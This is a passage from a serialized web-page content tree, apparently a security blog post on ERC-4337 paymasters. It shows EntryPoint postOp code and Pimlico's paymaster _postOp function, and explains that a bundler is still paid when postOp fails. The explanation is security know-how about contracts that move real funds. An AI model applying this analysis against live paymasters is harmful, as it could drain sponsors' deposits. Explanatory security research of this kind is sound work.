}\n",[105488],{"type":23,"tag":94,"props":105489,"children":105490},{"__ignoreMap":7},[105491,105506,105531,105550,105569,105581,105618,105625,105657,105674,105689,105705,105729,105754,105778,105800,105818,105835,105843,105861,105877,105910,105928,105935,105942,105950,105966,105998,106020,106027,106034,106041],{"type":23,"tag":314,"props":105492,"children":105493},{"class":316,"line":317},[105494,105498,105502],{"type":23,"tag":314,"props":105495,"children":105496},{"style":321},[105497],{"type":28,"value":89083},{"type":23,"tag":314,"props":105499,"children":105500},{"style":332},[105501],{"type":28,"value":104684},{"type":23,"tag":314,"props":105503,"children":105504},{"style":338},[105505],{"type":28,"value":2719},{"type":23,"tag":314,"props":105507,"children":105508},{"class":316,"line":370},[105509,105514,105518,105522,105527],{"type":23,"tag":314,"props":105510,"children":105511},{"style":321},[105512],{"type":28,"value":105513}," IPaymaster",{"type":23,"tag":314,"props":105515,"children":105516},{"style":338},[105517],{"type":28,"value":282},{"type":23,"tag":314,"props":105519,"children":105520},{"style":360},[105521],{"type":28,"value":103044},{"type":23,"tag":314,"props":105523,"children":105524},{"style":360},[105525],{"type":28,"value":105526}," mode",{"type":23,"tag":314,"props":105528,"children":105529},{"style":338},[105530],{"type":28,"value":1870},{"type":23,"tag":314,"props":105532,"children":105533},{"class":316,"line":380},[105534,105538,105542,105546],{"type":23,"tag":314,"props":105535,"children":105536},{"style":321},[105537],{"type":28,"value":103992},{"type":23,"tag":314,"props":105539,"children":105540},{"style":321},[105541],{"type":28,"value":102332},{"type":23,"tag":314,"props":105543,"children":105544},{"style":360},[105545],{"type":28,"value":104980},{"type":23,"tag":314,"props":105547,"children":105548},{"style":338},[105549],{"type":28,"value":1870},{"type":23,"tag":314,"props":105551,"children":105552},{"class":316,"line":1091},[105553,105557,105561,105565],{"type":23,"tag":314,"props":105554,"children":105555},{"style":2674},[105556],{"type":28,"value":104951},{"type":23,"tag":314,"props":105558,"children":105559},{"style":321},[105560],{"type":28,"value":102332},{"type":23,"tag":314,"props":105562,"children":105563},{"style":360},[105564],{"type":28,"value":75593},{"type":23,"tag":314,"props":105566,"children":105567},{"style":338},[105568],{"type":28,"value":1870},{"type":23,"tag":314,"props":105570,"children":105571},{"class":316,"line":1141},[105572,105576],{"type":23,"tag":314,"props":105573,"children":105574},{"style":2674},[105575],{"type":28,"value":89261},{"type":23,"tag":314,"props":105577,"children":105578},{"style":360},[105579],{"type":28,"value":105580}," actualGas\n",{"type":23,"tag":314,"props":105582,"children":105583},{"class":316,"line":1173},[105584,105588,105593,105598,105602,105606,105610,105614],{"type":23,"tag":314,"props":105585,"children":105586},{"style":338},[105587],{"type":28,"value":105008},{"type":23,"tag":314,"props":105589,"children":105590},{"style":321},[105591],{"type":28,"value":105592},"internal",{"type":23,"tag":314,"props":105594,"children":105595},{"style":321},[105596],{"type":28,"value":105597}," virtual",{"type":23,"tag":314,"props":105599,"children":105600},{"style":2284},[105601],{"type":28,"value":75246},{"type":23,"tag":314,"props":105603,"children":105604},{"style":338},[105605],{"type":28,"value":2324},{"type":23,"tag":314,"props":105607,"children":105608},{"style":2674},[105609],{"type":28,"value":45417},{"type":23,"tag":314,"props":105611,"children":105612},{"style":360},[105613],{"type":28,"value":103073},{"type":23,"tag":314,"props":105615,"children":105616},{"style":338},[105617],{"type":28,"value":367},{"type":23,"tag":314,"props":105619,"children":105620},{"class":316,"line":1208},[105621],{"type":23,"tag":314,"props":105622,"children":105623},{"style":338},[105624],{"type":28,"value":104053},{"type":23,"tag":314,"props":105626,"children":105627},{"class":316,"line":1216},[105628,105632,105637,105641,105645,105649,105653],{"type":23,"tag":314,"props":105629,"children":105630},{"style":2284},[105631],{"type":28,"value":58052},{"type":23,"tag":314,"props":105633,"children":105634},{"style":338},[105635],{"type":28,"value":105636}," (paymaster ",{"type":23,"tag":314,"props":105638,"children":105639},{"style":354},[105640],{"type":28,"value":7828},{"type":23,"tag":314,"props":105642,"children":105643},{"style":2674},[105644],{"type":28,"value":5505},{"type":23,"tag":314,"props":105646,"children":105647},{"style":338},[105648],{"type":28,"value":341},{"type":23,"tag":314,"props":105650,"children":105651},{"style":1054},[105652],{"type":28,"value":1600},{"type":23,"tag":314,"props":105654,"children":105655},{"style":338},[105656],{"type":28,"value":34443},{"type":23,"tag":314,"props":105658,"children":105659},{"class":316,"line":1301},[105660,105665,105669],{"type":23,"tag":314,"props":105661,"children":105662},{"style":338},[105663],{"type":28,"value":105664}," refundAddress ",{"type":23,"tag":314,"props":105666,"children":105667},{"style":354},[105668],{"type":28,"value":1102},{"type":23,"tag":314,"props":105670,"children":105671},{"style":338},[105672],{"type":28,"value":105673}," mUserOp.sender;\n",{"type":23,"tag":314,"props":105675,"children":105676},{"class":316,"line":1343},[105677,105681,105685],{"type":23,"tag":314,"props":105678,"children":105679},{"style":338},[105680],{"type":28,"value":69847},{"type":23,"tag":314,"props":105682,"children":105683},{"style":2284},[105684],{"type":28,"value":2570},{"type":23,"tag":314,"props":105686,"children":105687},{"style":338},[105688],{"type":28,"value":1449},{"type":23,"tag":314,"props":105690,"children":105691},{"class":316,"line":1351},[105692,105696,105700],{"type":23,"tag":314,"props":105693,"children":105694},{"style":338},[105695],{"type":28,"value":105664},{"type":23,"tag":314,"props":105697,"children":105698},{"style":354},[105699],{"type":28,"value":1102},{"type":23,"tag":314,"props":105701,"children":105702},{"style":338},[105703],{"type":28,"value":105704}," paymaster;\n",{"type":23,"tag":314,"props":105706,"children":105707},{"class":316,"line":1387},[105708,105712,105717,105721,105725],{"type":23,"tag":314,"props":105709,"children":105710},{"style":2284},[105711],{"type":28,"value":102772},{"type":23,"tag":314,"props":105713,"children":105714},{"style":338},[105715],{"type":28,"value":105716}," (context.length ",{"type":23,"tag":314,"props":105718,"children":105719},{"style":354},[105720],{"type":28,"value":9710},{"type":23,"tag":314,"props":105722,"children":105723},{"style":1054},[105724],{"type":28,"value":1201},{"type":23,"tag":314,"props":105726,"children":105727},{"style":338},[105728],{"type":28,"value":367},{"type":23,"tag":314,"props":105730,"children":105731},{"class":316,"line":1422},[105732,105737,105741,105745,105749],{"type":23,"tag":314,"props":105733,"children":105734},{"style":338},[105735],{"type":28,"value":105736}," actualGasCost ",{"type":23,"tag":314,"props":105738,"children":105739},{"style":354},[105740],{"type":28,"value":1102},{"type":23,"tag":314,"props":105742,"children":105743},{"style":338},[105744],{"type":28,"value":104544},{"type":23,"tag":314,"props":105746,"children":105747},{"style":354},[105748],{"type":28,"value":256},{"type":23,"tag":314,"props":105750,"children":105751},{"style":338},[105752],{"type":28,"value":105753}," gasPrice;\n",{"type":23,"tag":314,"props":105755,"children":105756},{"class":316,"line":1430},[105757,105761,105766,105770,105774],{"type":23,"tag":314,"props":105758,"children":105759},{"style":2674},[105760],{"type":28,"value":102729},{"type":23,"tag":314,"props":105762,"children":105763},{"style":338},[105764],{"type":28,"value":105765}," postOpPreGas ",{"type":23,"tag":314,"props":105767,"children":105768},{"style":354},[105769],{"type":28,"value":1102},{"type":23,"tag":314,"props":105771,"children":105772},{"style":321},[105773],{"type":28,"value":104562},{"type":23,"tag":314,"props":105775,"children":105776},{"style":338},[105777],{"type":28,"value":2926},{"type":23,"tag":314,"props":105779,"children":105780},{"class":316,"line":1452},[105781,105786,105791,105795],{"type":23,"tag":314,"props":105782,"children":105783},{"style":2284},[105784],{"type":28,"value":105785}," if",{"type":23,"tag":314,"props":105787,"children":105788},{"style":338},[105789],{"type":28,"value":105790}," (mode ",{"type":23,"tag":314,"props":105792,"children":105793},{"style":354},[105794],{"type":28,"value":1196},{"type":23,"tag":314,"props":105796,"children":105797},{"style":338},[105798],{"type":28,"value":105799}," IPaymaster.PostOpMode.postOpReverted) {\n",{"type":23,"tag":314,"props":105801,"children":105802},{"class":316,"line":1497},[105803,105808,105813],{"type":23,"tag":314,"props":105804,"children":105805},{"style":2284},[105806],{"type":28,"value":105807}," try",{"type":23,"tag":314,"props":105809,"children":105810},{"style":332},[105811],{"type":28,"value":105812}," IPaymaster",{"type":23,"tag":314,"props":105814,"children":105815},{"style":338},[105816],{"type":28,"value":105817},"(paymaster).postOp{\n",{"type":23,"tag":314,"props":105819,"children":105820},{"class":316,"line":1539},[105821,105826,105830],{"type":23,"tag":314,"props":105822,"children":105823},{"style":338},[105824],{"type":28,"value":105825}," gas",{"type":23,"tag":314,"props":105827,"children":105828},{"style":354},[105829],{"type":28,"value":3746},{"type":23,"tag":314,"props":105831,"children":105832},{"style":338},[105833],{"type":28,"value":105834}," mUserOp.paymasterPostOpGasLimit\n",{"type":23,"tag":314,"props":105836,"children":105837},{"class":316,"line":1548},[105838],{"type":23,"tag":314,"props":105839,"children":105840},{"style":338},[105841],{"type":28,"value":105842}," }(mode, context, actualGasCost, gasPrice)\n",{"type":23,"tag":314,"props":105844,"children":105845},{"class":316,"line":1584},[105846,105851,105856],{"type":23,"tag":314,"props":105847,"children":105848},{"style":374},[105849],{"type":28,"value":105850}," // ",{"type":23,"tag":314,"props":105852,"children":105853},{"style":321},[105854],{"type":28,"value":105855},"solhint-disable",{"type":23,"tag":314,"props":105857,"children":105858},{"style":374},[105859],{"type":28,"value":105860},"-next-line no-empty-blocks\n",{"type":23,"tag":314,"props":105862,"children":105863},{"class":316,"line":1617},[105864,105869,105873],{"type":23,"tag":314,"props":105865,"children":105866},{"style":338},[105867],{"type":28,"value":105868}," {} ",{"type":23,"tag":314,"props":105870,"children":105871},{"style":2284},[105872],{"type":28,"value":47661},{"type":23,"tag":314,"props":105874,"children":105875},{"style":338},[105876],{"type":28,"value":1449},{"type":23,"tag":314,"props":105878,"children":105879},{"class":316,"line":1625},[105880,105885,105889,105894,105898,105902,105906],{"type":23,"tag":314,"props":105881,"children":105882},{"style":2674},[105883],{"type":28,"value":105884}," bytes",{"type":23,"tag":314,"props":105886,"children":105887},{"style":321},[105888],{"type":28,"value":102332},{"type":23,"tag":314,"props":105890,"children":105891},{"style":338},[105892],{"type":28,"value":105893}," reason ",{"type":23,"tag":314,"props":105895,"children":105896},{"style":354},[105897],{"type":28,"value":1102},{"type":23,"tag":314,"props":105899,"children":105900},{"style":338},[105901],{"type":28,"value":105103},{"type":23,"tag":314,"props":105903,"children":105904},{"style":332},[105905],{"type":28,"value":105194},{"type":23,"tag":314,"props":105907,"children":105908},{"style":338},[105909],{"type":28,"value":105199},{"type":23,"tag":314,"props":105911,"children":105912},{"class":316,"line":1660},[105913,105918,105923],{"type":23,"tag":314,"props":105914,"children":105915},{"style":2284},[105916],{"type":28,"value":105917}," revert",{"type":23,"tag":314,"props":105919,"children":105920},{"style":332},[105921],{"type":28,"value":105922}," PostOpReverted",{"type":23,"tag":314,"props":105924,"children":105925},{"style":338},[105926],{"type":28,"value":105927},"(reason);\n",{"type":23,"tag":314,"props":105929,"children":105930},{"class":316,"line":1708},[105931],{"type":23,"tag":314,"props":105932,"children":105933},{"style":338},[105934],{"type":28,"value":70231},{"type":23,"tag":314,"props":105936,"children":105937},{"class":316,"line":1743},[105938],{"type":23,"tag":314,"props":105939,"children":105940},{"style":338},[105941],{"type":28,"value":70316},{"type":23,"tag":314,"props":105943,"children":105944},{"class":316,"line":1751},[105945],{"type":23,"tag":314,"props":105946,"children":105947},{"style":374},[105948],{"type":28,"value":105949}," // Calculating a penalty for unused postOp gas\n",{"type":23,"tag":314,"props":105951,"children":105952},{"class":316,"line":1791},[105953,105957,105961],{"type":23,"tag":314,"props":105954,"children":105955},{"style":374},[105956],{"type":28,"value":102794},{"type":23,"tag":314,"props":105958,"children":105959},{"style":321},[105960],{"type":28,"value":66012},{"type":23,"tag":314,"props":105962,"children":105963},{"style":374},[105964],{"type":28,"value":105965}," that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n",{"type":23,"tag":314,"props":105967,"children":105968},{"class":316,"line":1805},[105969,105973,105978,105982,105986,105990,105994],{"type":23,"tag":314,"props":105970,"children":105971},{"style":2674},[105972],{"type":28,"value":102729},{"type":23,"tag":314,"props":105974,"children":105975},{"style":338},[105976],{"type":28,"value":105977}," postOpGasUsed ",{"type":23,"tag":314,"props":105979,"children":105980},{"style":354},[105981],{"type":28,"value":1102},{"type":23,"tag":314,"props":105983,"children":105984},{"style":338},[105985],{"type":28,"value":105765},{"type":23,"tag":314,"props":105987,"children":105988},{"style":354},[105989],{"type":28,"value":1051},{"type":23,"tag":314,"props":105991,"children":105992},{"style":321},[105993],{"type":28,"value":104562},{"type":23,"tag":314,"props":105995,"children":105996},{"style":338},[105997],{"type":28,"value":2926},{"type":23,"tag":314,"props":105999,"children":106000},{"class":316,"line":1818},[106001,106006,106010,106015],{"type":23,"tag":314,"props":106002,"children":106003},{"style":338},[106004],{"type":28,"value":106005}," postOpUnusedGasPenalty ",{"type":23,"tag":314,"props":106007,"children":106008},{"style":354},[106009],{"type":28,"value":1102},{"type":23,"tag":314,"props":106011,"children":106012},{"style":332},[106013],{"type":28,"value":106014}," _getUnusedGasPenalty",{"type":23,"tag":314,"props":106016,"children":106017},{"style":338},[106018],{"type":28,"value":106019},"(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n",{"type":23,"tag":314,"props":106021,"children":106022},{"class":316,"line":1873},[106023],{"type":23,"tag":314,"props":106024,"children":106025},{"style":338},[106026],{"type":28,"value":70324},{"type":23,"tag":314,"props":106028,"children":106029},{"class":316,"line":1891},[106030],{"type":23,"tag":314,"props":106031,"children":106032},{"style":338},[106033],{"type":28,"value":58136},{"type":23,"tag":314,"props":106035,"children":106036},{"class":316,"line":1899},[106037],{"type":23,"tag":314,"props":106038,"children":106039},{"style":338},[106040],{"type":28,"value":104053},{"type":23,"tag":314,"props":106042,"children":106043},{"class":316,"line":1944},[106044],{"type":23,"tag":314,"props":106045,"children":106046},{"style":338},[106047],{"type":28,"value":2610},{"type":23,"tag":24,"props":106049,"children":106050},{},[106051,106053,106058,106060,106066,106068,106074,106076,106081,106083,106088,106090,106095,106097,106102,106104,106109,106111,106116],{"type":28,"value":106052},"It turns out that if the ",{"type":23,"tag":94,"props":106054,"children":106056},{"className":106055},[],[106057],{"type":28,"value":101633},{"type":28,"value":106059}," call fails, it will revert with ",{"type":23,"tag":94,"props":106061,"children":106063},{"className":106062},[],[106064],{"type":28,"value":106065},"PostOpReverted",{"type":28,"value":106067},". However, as we can see in the previous code of ",{"type":23,"tag":94,"props":106069,"children":106071},{"className":106070},[],[106072],{"type":28,"value":106073},"_executeUserOp",{"type":28,"value":106075},", even though ",{"type":23,"tag":94,"props":106077,"children":106079},{"className":106078},[],[106080],{"type":28,"value":104775},{"type":28,"value":106082}," fails, the execution won't revert. Instead, it will continue to make another ",{"type":23,"tag":94,"props":106084,"children":106086},{"className":106085},[],[106087],{"type":28,"value":105443},{"type":28,"value":106089}," call with ",{"type":23,"tag":94,"props":106091,"children":106093},{"className":106092},[],[106094],{"type":28,"value":105451},{"type":28,"value":106096}," mode, and it won't try to call ",{"type":23,"tag":94,"props":106098,"children":106100},{"className":106099},[],[106101],{"type":28,"value":101633},{"type":28,"value":106103}," again. This means the ",{"type":23,"tag":94,"props":106105,"children":106107},{"className":106106},[],[106108],{"type":28,"value":101494},{"type":28,"value":106110}," still gets paid for submitting the failed ",{"type":23,"tag":94,"props":106112,"children":106114},{"className":106113},[],[106115],{"type":28,"value":101434},{"type":28,"value":282},{"type":23,"tag":24,"props":106118,"children":106119},{},[106120,106122,106127,106129,106134,106136,106143],{"type":28,"value":106121},"Now that we understand this behavior where ",{"type":23,"tag":94,"props":106123,"children":106125},{"className":106124},[],[106126],{"type":28,"value":101633},{"type":28,"value":106128}," is allowed to fail while the ",{"type":23,"tag":94,"props":106130,"children":106132},{"className":106131},[],[106133],{"type":28,"value":101494},{"type":28,"value":106135}," still gets paid, let's examine a real-world example from the most widely used paymaster currently, which is the paymaster implemented by ",{"type":23,"tag":31,"props":106137,"children":106140},{"href":106138,"rel":106139},"https://github.com/pimlicolabs/singleton-paymaster/blob/feat/v8/src/SingletonPaymasterV7.sol",[35],[106141],{"type":28,"value":106142},"Pimlico",{"type":28,"value":282},{"type":23,"tag":304,"props":106145,"children":106147},{"className":3729,"code":106146,"language":3728,"meta":7,"style":7}," function _postOp(\n PostOpMode, /* mode */\n bytes calldata _context,\n uint256 _actualGasCost,\n uint256 _actualUserOpFeePerGas\n )\n internal\n {\n ERC20PostOpContext memory ctx = _parsePostOpContext(_context);\n\n uint256 expectedPenaltyGasCost = _expectedPenaltyGasCost(\n _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n );\n\n uint256 actualGasCost = _actualGasCost + expectedPenaltyGasCost;\n\n uint256 costInToken =\n getCostInToken(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) + ctx.constantFee;\n\n uint256 absoluteCostInToken =\n costInToken > ctx.preFundCharged ? costInToken - ctx.preFundCharged : ctx.preFundCharged - costInToken;\n\n SafeTransferLib.safeTransferFrom(\n ctx.token,\n costInToken > ctx.preFundCharged ? ctx.sender : ctx.treasury,\n costInToken > ctx.preFundCharged ? ctx.treasury : ctx.sender,\n absoluteCostInToken\n );\n\n uint256 preFundInToken = (ctx.preFund * ctx.exchangeRate) / 1e18;\n\n if (ctx.recipient != address(0) && preFundInToken > costInToken) {\n SafeTransferLib.safeTransferFrom(ctx.token, ctx.sender, ctx.recipient, preFundInToken - costInToken);\n }\n\n emit UserOperationSponsored(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n }\n",[106148],{"type":23,"tag":94,"props":106149,"children":106150},{"__ignoreMap":7},[106151,106166,106183,106203,106219,106231,106238,106245,106252,106283,106290,106315,106323,106330,106337,106366,106373,106389,106411,106418,106434,106484,106491,106507,106515,106548,106581,106589,106596,106603,106646,106653,106702,106728,106735,106742,106759],{"type":23,"tag":314,"props":106152,"children":106153},{"class":316,"line":317},[106154,106158,106162],{"type":23,"tag":314,"props":106155,"children":106156},{"style":321},[106157],{"type":28,"value":89083},{"type":23,"tag":314,"props":106159,"children":106160},{"style":332},[106161],{"type":28,"value":103035},{"type":23,"tag":314,"props":106163,"children":106164},{"style":338},[106165],{"type":28,"value":2719},{"type":23,"tag":314,"props":106167,"children":106168},{"class":316,"line":370},[106169,106174,106178],{"type":23,"tag":314,"props":106170,"children":106171},{"style":321},[106172],{"type":28,"value":106173}," PostOpMode",{"type":23,"tag":314,"props":106175,"children":106176},{"style":338},[106177],{"type":28,"value":778},{"type":23,"tag":314,"props":106179,"children":106180},{"style":374},[106181],{"type":28,"value":106182},"/* mode */\n",{"type":23,"tag":314,"props":106184,"children":106185},{"class":316,"line":380},[106186,106190,106194,106199],{"type":23,"tag":314,"props":106187,"children":106188},{"style":2674},[106189],{"type":28,"value":104951},{"type":23,"tag":314,"props":106191,"children":106192},{"style":321},[106193],{"type":28,"value":102264},{"type":23,"tag":314,"props":106195,"children":106196},{"style":360},[106197],{"type":28,"value":106198}," _context",{"type":23,"tag":314,"props":106200,"children":106201},{"style":338},[106202],{"type":28,"value":1870},{"type":23,"tag":314,"props":106204,"children":106205},{"class":316,"line":1091},[106206,106210,106215],{"type":23,"tag":314,"props":106207,"children":106208},{"style":2674},[106209],{"type":28,"value":89261},{"type":23,"tag":314,"props":106211,"children":106212},{"style":360},[106213],{"type":28,"value":106214}," _actualGasCost",{"type":23,"tag":314,"props":106216,"children":106217},{"style":338},[106218],{"type":28,"value":1870},{"type":23,"tag":314,"props":106220,"children":106221},{"class":316,"line":1141},[106222,106226],{"type":23,"tag":314,"props":106223,"children":106224},{"style":2674},[106225],{"type":28,"value":89261},{"type":23,"tag":314,"props":106227,"children":106228},{"style":360},[106229],{"type":28,"value":106230}," _actualUserOpFeePerGas\n",{"type":23,"tag":314,"props":106232,"children":106233},{"class":316,"line":1173},[106234],{"type":23,"tag":314,"props":106235,"children":106236},{"style":338},[106237],{"type":28,"value":23164},{"type":23,"tag":314,"props":106239,"children":106240},{"class":316,"line":1208},[106241],{"type":23,"tag":314,"props":106242,"children":106243},{"style":321},[106244],{"type":28,"value":102303},{"type":23,"tag":314,"props":106246,"children":106247},{"class":316,"line":1216},[106248],{"type":23,"tag":314,"props":106249,"children":106250},{"style":338},[106251],{"type":28,"value":28435},{"type":23,"tag":314,"props":106253,"children":106254},{"class":316,"line":1301},[106255,106260,106264,106269,106273,106278],{"type":23,"tag":314,"props":106256,"children":106257},{"style":338},[106258],{"type":28,"value":106259}," ERC20PostOpContext ",{"type":23,"tag":314,"props":106261,"children":106262},{"style":321},[106263],{"type":28,"value":75225},{"type":23,"tag":314,"props":106265,"children":106266},{"style":338},[106267],{"type":28,"value":106268}," ctx ",{"type":23,"tag":314,"props":106270,"children":106271},{"style":354},[106272],{"type":28,"value":1102},{"type":23,"tag":314,"props":106274,"children":106275},{"style":332},[106276],{"type":28,"value":106277}," _parsePostOpContext",{"type":23,"tag":314,"props":106279,"children":106280},{"style":338},[106281],{"type":28,"value":106282},"(_context);\n",{"type":23,"tag":314,"props":106284,"children":106285},{"class":316,"line":1343},[106286],{"type":23,"tag":314,"props":106287,"children":106288},{"emptyLinePlaceholder":18},[106289],{"type":28,"value":1088},{"type":23,"tag":314,"props":106291,"children":106292},{"class":316,"line":1351},[106293,106297,106302,106306,106311],{"type":23,"tag":314,"props":106294,"children":106295},{"style":2674},[106296],{"type":28,"value":89261},{"type":23,"tag":314,"props":106298,"children":106299},{"style":338},[106300],{"type":28,"value":106301}," expectedPenaltyGasCost ",{"type":23,"tag":314,"props":106303,"children":106304},{"style":354},[106305],{"type":28,"value":1102},{"type":23,"tag":314,"props":106307,"children":106308},{"style":332},[106309],{"type":28,"value":106310}," _expectedPenaltyGasCost",{"type":23,"tag":314,"props":106312,"children":106313},{"style":338},[106314],{"type":28,"value":2719},{"type":23,"tag":314,"props":106316,"children":106317},{"class":316,"line":1387},[106318],{"type":23,"tag":314,"props":106319,"children":106320},{"style":338},[106321],{"type":28,"value":106322}," _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n",{"type":23,"tag":314,"props":106324,"children":106325},{"class":316,"line":1422},[106326],{"type":23,"tag":314,"props":106327,"children":106328},{"style":338},[106329],{"type":28,"value":6998},{"type":23,"tag":314,"props":106331,"children":106332},{"class":316,"line":1430},[106333],{"type":23,"tag":314,"props":106334,"children":106335},{"emptyLinePlaceholder":18},[106336],{"type":28,"value":1088},{"type":23,"tag":314,"props":106338,"children":106339},{"class":316,"line":1452},[106340,106344,106348,106352,106357,106361],{"type":23,"tag":314,"props":106341,"children":106342},{"style":2674},[106343],{"type":28,"value":89261},{"type":23,"tag":314,"props":106345,"children":106346},{"style":338},[106347],{"type":28,"value":103359},{"type":23,"tag":314,"props":106349,"children":106350},{"style":354},[106351],{"type":28,"value":1102},{"type":23,"tag":314,"props":106353,"children":106354},{"style":338},[106355],{"type":28,"value":106356}," _actualGasCost ",{"type":23,"tag":314,"props":106358,"children":106359},{"style":354},[106360],{"type":28,"value":1130},{"type":23,"tag":314,"props":106362,"children":106363},{"style":338},[106364],{"type":28,"value":106365}," expectedPenaltyGasCost;\n",{"type":23,"tag":314,"props":106367,"children":106368},{"class":316,"line":1497},[106369],{"type":23,"tag":314,"props":106370,"children":106371},{"emptyLinePlaceholder":18},[106372],{"type":28,"value":1088},{"type":23,"tag":314,"props":106374,"children":106375},{"class":316,"line":1539},[106376,106380,106385],{"type":23,"tag":314,"props":106377,"children":106378},{"style":2674},[106379],{"type":28,"value":89261},{"type":23,"tag":314,"props":106381,"children":106382},{"style":338},[106383],{"type":28,"value":106384}," costInToken ",{"type":23,"tag":314,"props":106386,"children":106387},{"style":354},[106388],{"type":28,"value":13937},{"type":23,"tag":314,"props":106390,"children":106391},{"class":316,"line":1548},[106392,106397,106402,106406],{"type":23,"tag":314,"props":106393,"children":106394},{"style":332},[106395],{"type":28,"value":106396}," getCostInToken",{"type":23,"tag":314,"props":106398,"children":106399},{"style":338},[106400],{"type":28,"value":106401},"(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) ",{"type":23,"tag":314,"props":106403,"children":106404},{"style":354},[106405],{"type":28,"value":1130},{"type":23,"tag":314,"props":106407,"children":106408},{"style":338},[106409],{"type":28,"value":106410}," ctx.constantFee;\n",{"type":23,"tag":314,"props":106412,"children":106413},{"class":316,"line":1584},[106414],{"type":23,"tag":314,"props":106415,"children":106416},{"emptyLinePlaceholder":18},[106417],{"type":28,"value":1088},{"type":23,"tag":314,"props":106419,"children":106420},{"class":316,"line":1617},[106421,106425,106430],{"type":23,"tag":314,"props":106422,"children":106423},{"style":2674},[106424],{"type":28,"value":89261},{"type":23,"tag":314,"props":106426,"children":106427},{"style":338},[106428],{"type":28,"value":106429}," absoluteCostInToken ",{"type":23,"tag":314,"props":106431,"children":106432},{"style":354},[106433],{"type":28,"value":13937},{"type":23,"tag":314,"props":106435,"children":106436},{"class":316,"line":1625},[106437,106442,106446,106451,106455,106459,106463,106467,106471,106475,106479],{"type":23,"tag":314,"props":106438,"children":106439},{"style":338},[106440],{"type":28,"value":106441}," costInToken ",{"type":23,"tag":314,"props":106443,"children":106444},{"style":354},[106445],{"type":28,"value":9710},{"type":23,"tag":314,"props":106447,"children":106448},{"style":338},[106449],{"type":28,"value":106450}," ctx.preFundCharged ",{"type":23,"tag":314,"props":106452,"children":106453},{"style":354},[106454],{"type":28,"value":2409},{"type":23,"tag":314,"props":106456,"children":106457},{"style":338},[106458],{"type":28,"value":106384},{"type":23,"tag":314,"props":106460,"children":106461},{"style":354},[106462],{"type":28,"value":1051},{"type":23,"tag":314,"props":106464,"children":106465},{"style":338},[106466],{"type":28,"value":106450},{"type":23,"tag":314,"props":106468,"children":106469},{"style":354},[106470],{"type":28,"value":3746},{"type":23,"tag":314,"props":106472,"children":106473},{"style":338},[106474],{"type":28,"value":106450},{"type":23,"tag":314,"props":106476,"children":106477},{"style":354},[106478],{"type":28,"value":1051},{"type":23,"tag":314,"props":106480,"children":106481},{"style":338},[106482],{"type":28,"value":106483}," costInToken;\n",{"type":23,"tag":314,"props":106485,"children":106486},{"class":316,"line":1660},[106487],{"type":23,"tag":314,"props":106488,"children":106489},{"emptyLinePlaceholder":18},[106490],{"type":28,"value":1088},{"type":23,"tag":314,"props":106492,"children":106493},{"class":316,"line":1708},[106494,106499,106503],{"type":23,"tag":314,"props":106495,"children":106496},{"style":338},[106497],{"type":28,"value":106498}," SafeTransferLib.",{"type":23,"tag":314,"props":106500,"children":106501},{"style":332},[106502],{"type":28,"value":102890},{"type":23,"tag":314,"props":106504,"children":106505},{"style":338},[106506],{"type":28,"value":2719},{"type":23,"tag":314,"props":106508,"children":106509},{"class":316,"line":1743},[106510],{"type":23,"tag":314,"props":106511,"children":106512},{"style":338},[106513],{"type":28,"value":106514}," ctx.token,\n",{"type":23,"tag":314,"props":106516,"children":106517},{"class":316,"line":1751},[106518,106522,106526,106530,106534,106539,106543],{"type":23,"tag":314,"props":106519,"children":106520},{"style":338},[106521],{"type":28,"value":106441},{"type":23,"tag":314,"props":106523,"children":106524},{"style":354},[106525],{"type":28,"value":9710},{"type":23,"tag":314,"props":106527,"children":106528},{"style":338},[106529],{"type":28,"value":106450},{"type":23,"tag":314,"props":106531,"children":106532},{"style":354},[106533],{"type":28,"value":2409},{"type":23,"tag":314,"props":106535,"children":106536},{"style":338},[106537],{"type":28,"value":106538}," ctx.sender ",{"type":23,"tag":314,"props":106540,"children":106541},{"style":354},[106542],{"type":28,"value":3746},{"type":23,"tag":314,"props":106544,"children":106545},{"style":338},[106546],{"type":28,"value":106547}," ctx.treasury,\n",{"type":23,"tag":314,"props":106549,"children":106550},{"class":316,"line":1791},[106551,106555,106559,106563,106567,106572,106576],{"type":23,"tag":314,"props":106552,"children":106553},{"style":338},[106554],{"type":28,"value":106441},{"type":23,"tag":314,"props":106556,"children":106557},{"style":354},[106558],{"type":28,"value":9710},{"type":23,"tag":314,"props":106560,"children":106561},{"style":338},[106562],{"type":28,"value":106450},{"type":23,"tag":314,"props":106564,"children":106565},{"style":354},[106566],{"type":28,"value":2409},{"type":23,"tag":314,"props":106568,"children":106569},{"style":338},[106570],{"type":28,"value":106571}," ctx.treasury ",{"type":23,"tag":314,"props":106573,"children":106574},{"style":354},[106575],{"type":28,"value":3746},{"type":23,"tag":314,"props":106577,"children":106578},{"style":338},[106579],{"type":28,"value":106580}," ctx.sender,\n",{"type":23,"tag":314,"props":106582,"children":106583},{"class":316,"line":1805},[106584],{"type":23,"tag":314,"props":106585,"children":106586},{"style":338},[106587],{"type":28,"value":106588}," absoluteCostInToken\n",{"type":23,"tag":314,"props":106590,"children":106591},{"class":316,"line":1818},[106592],{"type":23,"tag":314,"props":106593,"children":106594},{"style":338},[106595],{"type":28,"value":6998},{"type":23,"tag":314,"props":106597,"children":106598},{"class":316,"line":1873},[106599],{"type":23,"tag":314,"props":106600,"children":106601},{"emptyLinePlaceholder":18},[106602],{"type":28,"value":1088},{"type":23,"tag":314,"props":106604,"children":106605},{"class":316,"line":1891},[106606,106610,106615,106619,106624,106628,106633,106637,106642],{"type":23,"tag":314,"props":106607,"children":106608},{"style":2674},[106609],{"type":28,"value":89261},{"type":23,"tag":314,"props":106611,"children":106612},{"style":338},[106613],{"type":28,"value":106614}," preFundInToken ",{"type":23,"tag":314,"props":106616,"children":106617},{"style":354},[106618],{"type":28,"value":1102},{"type":23,"tag":314,"props":106620,"children":106621},{"style":338},[106622],{"type":28,"value":106623}," (ctx.preFund ",{"type":23,"tag":314,"props":106625,"children":106626},{"style":354},[106627],{"type":28,"value":256},{"type":23,"tag":314,"props":106629,"children":106630},{"style":338},[106631],{"type":28,"value":106632}," 